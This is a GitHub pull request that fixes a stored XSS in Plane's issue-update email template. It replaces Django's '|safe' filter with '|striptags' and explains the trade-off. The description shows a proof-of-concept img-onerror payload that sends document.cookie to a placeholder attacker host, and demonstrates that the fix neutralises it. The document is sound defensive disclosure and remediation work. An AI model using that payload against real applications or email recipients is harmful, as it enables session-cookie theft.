Skip to content

fix(security): stop rendering raw comment HTML unescaped in email notifications - #9651

Open
kovalancik06-max wants to merge 1 commit into
makeplane:previewfrom
kovalancik06-max:fix/xss-comment-email-notification
Open

fix(security): stop rendering raw comment HTML unescaped in email notifications#9651
kovalancik06-max wants to merge 1 commit into
makeplane:previewfrom
kovalancik06-max:fix/xss-comment-email-notification

Conversation

@kovalancik06-max

@kovalancik06-max kovalancik06-max commented Aug 20, 2026

Copy link
Copy Markdown

Summary

Fixes the stored XSS reported in #9218 (CVE-candidate, CWE-79, reported 2026-06-05 with a working PoC, still open at time of this PR).

issue-updates.html renders each comment's content with {{ actor_comment|safe }}. |safe disables Django's autoescaping entirely, and actor_comment is sourced from comment.comment_html — raw, unsanitized rich-text input from the comment author. A comment body like <img src=x onerror="fetch('https://attacker.example/log?c='+document.cookie)"> gets written straight into the issue-update notification email as executable HTML, and would run in any email client that renders inline HTML/JS when a project member views the notification.

I traced whether either the "comment" or "mention" code path in email_notification_task.py sanitizes content before it reaches the template — it doesn't. process_mention()/process_html_content() only resolve <mention-component> placeholders into plain @username text via BeautifulSoup; they aren't a sanitizer, and regular comments (as opposed to mentions) don't even go through that function. |safe is the only thing standing between raw comment HTML and the rendered email, and it does the opposite of what's needed here.

Fix

Switched |safe|striptags — one of the three remediation options the original report explicitly proposed. striptags (Django's built-in filter, no new dependency) removes every HTML tag and its attributes entirely, so an onerror handler never survives into the output, and any leftover text still goes through Django's normal autoescaping.

Verified directly against Django (not just by inspection):

payload = '<img src=x onerror="fetch(\'http://attacker.com/log?c=\'+document.cookie)">'
Template('{{ actor_comment|safe }}').render(Context({'actor_comment': payload}))
# → '<img src=x onerror="fetch(\'http://attacker.com/log?c=\'+document.cookie)">'   (executes)
Template('{{ actor_comment|striptags }}').render(Context({'actor_comment': payload}))
# → ''   (nothing left to execute)

Also checked a mixed case (<p>Great point! <script>alert(1)</script>Thanks</p>) — striptags renders it as the inert text Great point! alert(1)Thanks, not as running script.

This is the only |safe usage across apps/api/templates/, and there's no plain-text sibling template for this notification, so this is the complete fix for the reported vector.

Trade-off, flagged deliberately

Comments will now render as plain text in this email instead of keeping bold/italic/link formatting from the rich text editor. That's a conservative choice on purpose — a proper allowlist sanitizer (e.g. bleach) could preserve safe formatting while still stripping dangerous tags/attributes, but that needs a new dependency and an allowed-tags policy that actually matches what the editor emits, which isn't something to guess at in a security-sensitive change. Happy to follow up with that if it's wanted; wanted to get the hole closed with something unambiguously correct first.

Test plan

  • Reproduced both the vulnerable and fixed rendering directly against Django's template engine (see above) using the exact PoC payload from [bug]: CVE PoC: Plane — Stored XSS via Comment actor_comment|safe in Email Notification #9218.
  • Confirmed via grep that this is the only |safe filter usage in apps/api/templates/.
  • Not run against the full test suite or a live SMTP-configured instance in this environment — please run the existing notification tests and confirm the email still renders sensibly before merging.

Summary by CodeRabbit

  • Bug Fixes
    • Issue-update email notifications now display comment text without HTML tags, improving readability and preventing unintended formatting.

…ifications

issue-updates.html rendered each new-comment value with {{ actor_comment|safe }},
which disables Django's autoescaping entirely. Since actor_comment is sourced
from comment.comment_html - raw, unsanitized user input - a comment containing
a payload like <img src=x onerror="..."> was written straight into the
notification email and would execute in any email client that renders inline
HTML/JS, as demonstrated with a live PoC in makeplane#9218 (CWE-79, reported 2026-06-05,
still open).

Neither this path nor the sibling "mention" path sanitizes comment content
before this point - process_html_content()/process_mention() in
email_notification_task.py only resolves @mention placeholders into plain
text, it isn't a sanitizer, and comments (as opposed to mentions) don't even
go through that step.

Switch to the built-in `striptags` filter, one of the fix options already
suggested in makeplane#9218. This strips all HTML (including any tag's attributes, so
an onerror handler never reaches the output at all) and leaves the residual
text through Django's normal autoescaping, which closes the hole without
adding a new dependency. Verified against Django directly: the PoC payload
from makeplane#9218 renders as executable HTML with |safe and as an empty string with
|striptags.

Comments will render as plain text in this email rather than keeping bold/
italic/link formatting - a deliberate, conservative tradeoff. A proper
allowlist sanitizer (e.g. bleach) could preserve that formatting safely, but
picking the right allowed-tags policy needs to match what the rich text
editor actually emits, which is a decision for the maintainers; a hand-rolled
allowlist isn't something to guess at in a security fix.
@CLAassistant

CLAassistant commented Aug 20, 2026

Copy link
Copy Markdown

CLA assistant check
All committers have signed the CLA.

@coderabbitai

coderabbitai Bot commented Aug 20, 2026

Copy link
Copy Markdown
Contributor

Review Change Stack

No actionable comments were generated in the recent review. 🎉

ℹ️ Recent review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: e50897a6-25c1-4c93-b1e4-72eefc1ade2e

📥 Commits

Reviewing files that changed from the base of the PR and between e056bbf and 19d48d9.

📒 Files selected for processing (1)
  • apps/api/templates/emails/notifications/issue-updates.html

Included review availability: Your plan provides up to 10 included reviews per hour; 9 remain after this review.


📝 Walkthrough

Walkthrough

Issue update emails now strip HTML tags from comment text before rendering.

Changes

Issue update email rendering

Layer / File(s) Summary
Strip HTML from email comments
apps/api/templates/emails/notifications/issue-updates.html
The template uses striptags instead of safe when rendering comments.

Estimated code review effort: 1 (Trivial) | ~2 minutes

Merge Risk: ⚪ Minimal · up to 19d48

Comment content in notification emails is changed from raw HTML to tag-stripped text, removing executable markup while preserving the notification’s text. No actionable merge-blocking risk remains beyond normal checks and review.

Suggested reviewers: dheeru0198

🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly identifies the security fix: it stops raw comment HTML from rendering in email notifications.
Description check ✅ Passed The description explains the vulnerability, root cause, fix, trade-off, references, validation, and remaining test limitation.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
✨ Finishing Touches
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants